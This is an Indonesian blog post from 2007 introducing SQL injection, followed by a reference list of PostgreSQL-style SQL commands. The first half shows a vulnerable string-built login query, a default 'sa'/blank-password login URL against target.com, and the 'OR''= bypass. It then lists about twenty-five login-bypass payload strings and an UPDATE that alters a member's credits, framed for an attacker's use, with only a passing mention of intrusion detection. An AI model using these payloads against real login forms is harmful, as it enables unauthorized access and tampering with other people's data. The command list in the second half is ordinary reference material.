Sabtu, 29 September 2007

Konsep Dasar SQL Injection

SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yg ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dgn program2 database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.

SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius. Mengapa disebut SQL Injection ? seperti yg kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu "suntikan". Yang terjadi memang seperti melakukan suntikan terhadap SQL yg tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.

Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.

Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.

Input Query String

Default setting dari SQL menggunakan :

adminID = sa

password ='' (kosong atau blank)

misalnya : http://www.target.com/login.asp?adminID=sa%20password=''

%20 artinya menggantikan "jarak spasi"

Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.

Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :

SQLQuery="SELECT Username FROM Users WHERE Username="'&strUsername&"'strpassword&"'

Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yg sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.

Contoh : menggunakan injection string 'OR''= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :

SELECT Username FROM Users WHERE Username=''OR''='' AND Password=''OR''=''

Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.

Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :

'or 1=1--

'or 0=0 --

'or 'x'='x

'or a=a-

"or 0=0 --

"or 0=0 #

"or "x"="x

")or("a"="a

admin'--

hi" or 1=1 --

hi' or'a'='a

hi")or("a"="a

or 0=0 #

'or a=a--

'or 0=0 #

'having 1=1--

"or 1=1--

"or "a"="a

')or('a'='a

')or('x'='x

hi" or "a"="a

hi' or 1=1 --

hi')or('a'='a

or 0=0 --

or 1=1--

Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :

'UPDATE YEPCell_memberDB set Credits=100 wher UserID='yamakasi'

SQl Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com

Sumber : http://www.jambihackerlink.tk/


SQL Commands Yang Umum Digunakan

Berikut adalah beberapa SQL Commands yang umum, disini saya tidak akan memandu anda bagaimana cara penggunaan dari Command tersebut...jadi jangan pernah bertanya kepada saya bagaimana command tersebut digunakan.......sikap bijaksana yang harus anda ambil adalah dengan bertanya kepada paman google....karena dengannya akan terkuak jawaban dari pertanyaan anda..........

Berikut ini Commandnya:

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database